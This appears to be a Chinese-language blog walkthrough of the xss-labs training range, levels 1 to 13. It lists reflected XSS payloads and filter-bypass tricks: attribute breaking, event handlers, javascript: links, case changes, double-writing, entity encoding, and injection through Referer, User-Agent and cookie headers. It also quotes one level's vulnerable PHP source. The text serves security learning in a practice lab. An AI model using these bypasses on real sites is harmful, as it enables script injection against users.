XSS漏洞:xss-labs靶场
目录
level1

来到第一关
观察url地址的构造就可以发现这里是向服务器提交了一个值为”test”的name参数
查看网页代码

从网页源码来看这里是将name参数的值直接插入到了h2标签之中
所以我们可以在那么后面直接给name赋值,发现成功了
name=<script>alert('1')</script>

查看源代码

本关属于反射型漏洞
level2
我们尝试第一关的思路,先测试一下
<script>alert('1')</script>

发现没有成功,并没有弹窗显示,查看源码

可以看到输入的内容编码了,编码成了html字符实体
但是,下面的keyword中的value没有被编码,可以考虑从这里入手,

但是问题是这里的js代码在标签属性值中,浏览器是无法执行的。但是还可以将属性的引号和标签进行闭合尝试。
"><script>alert('1')</script>//
或者
aaa"onclick="alert(1)
发现成功了


查看网页源码


代码:

htmlspecialchars()
在 HTML 中,某些字符具有特殊的含义,比如 < 和 > 用于定义 HTML 标签,& 用于表示 HTML 实体的开始。如果直接将用户输入的包含这些特殊字符的内容插入到 HTML 文档中,可能会导致 HTML 结构被破坏,甚至会被攻击者利用进行 XSS 攻击。htmlspecialchars() 函数将这些特殊字符转换为对应的 HTML 实体,例如 < 转换为 <,> 转换为 >,& 转换为 & 等。这样,浏览器会将这些 HTML 实体当作普通文本显示,而不会将其解析为 HTML 标签或执行其中的脚本,从而保证了页面的安全性。
level3

第三关,尝试
a" onclick="alert(1)

发现该关是按照单引号闭合的
a' onclick='alert(1)

level4
先测试如下代码
a" onclick="alert(1)

虽然成功,但是发现并没有直接弹窗,需要用点击输入框才能触发弹窗,
原因是这里设置了和用户的交互,如果不点击输入框呢
可以加入autofocus页面加载完成时该元素会自动获得焦点,而不需要用户自己点击输入框。
a" autofocus onfocus="alert(1)

level5
尝试如下
a" onclick="alert(1)

发现双引号被编码了,但是下面的input中的只是将onclick进行了替换

继续尝试
a" autofocus onfocus="alert(1)

发现onfocus被也替换了

还是不行,那我们利用script标签

还是被替换了,利用a标签尝试一下
aa"><a href="javascript:alert(1)">111</a>

查看源代码

level6

尝试
aa"><a href="javascript:alert(1)">111</a>

页面中的a标签中的内容没有生效
查看源码

发现a标签中的href被替换了
查看代码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>
那么利用大小写绕过尝试
aa"><a Href="javascript:alert(1)">111</a>


成功利用大小写绕过了
level7
尝试如下
aa"><a Href="javascript:alert(1)">111</a>

查看源代码:

我们发现代码中对特殊的字符进行了置空操作,
那我们尝试双写
a" oonnclick="alert(1)
或者
aa"><a hhrefref="javascriscriptpt:alert(1)">111</a>
发现可以绕过




level8
我们添加一个链接


尝试
a" onclick="alert(1)

发现双引号被替换了,特殊字符也被替换了,并且已经包含进a标签中了
javascript:alert(1)

考虑对其进行html实体编码,及将javascript编码为
javascript:alert(1)

level9
尝试
javascript:alert(1)

发现输入的内容不合法,查看源代码,发现其对输入的内容进行了判断

他只是对字符串中的字符进行了匹配,查看是否存在http://字符
我们在后面加入http://字符
javascript:alert('1')http://

发现没有成功,那我们在alert中加入该字符尝试
javascript:alert('http://')
成功

level10

本关没有输入框,查看一下页面代码

发现他的输入框的type是隐藏状态。
简单尝试一下
<script>alert(1)</script>

字符被编码了
尝试从三个标签入手
&t_link=" type="text"&t_history=" type="text"&t_sort=" type="text"

发现t_sort的input标签出现了
从这里入手
?keyword=aa&t_sort=a" onclick="alert('1')" type="text


level11

同样没有输入框

尝试按照上一关的思路
?keyword=aa&t_sort=a" onclick="alert('1')" type="text

发现被编码了,那么我们查看源码

我们发现代码中请求头中的referer头的值赋给了str11这个变量
那么我们可以修改referer这个值

level12

本关和上一关类似,只是获取了请求中User-Agent头的值

那么可以继续伪造 
level13

查看源代码 
类似前两关,本关是cookie 
发现并没有成功,没有输入框显示
查看源代码

从cookie中传入的值是user
那么我们就传入user

更多推荐

所有评论(0)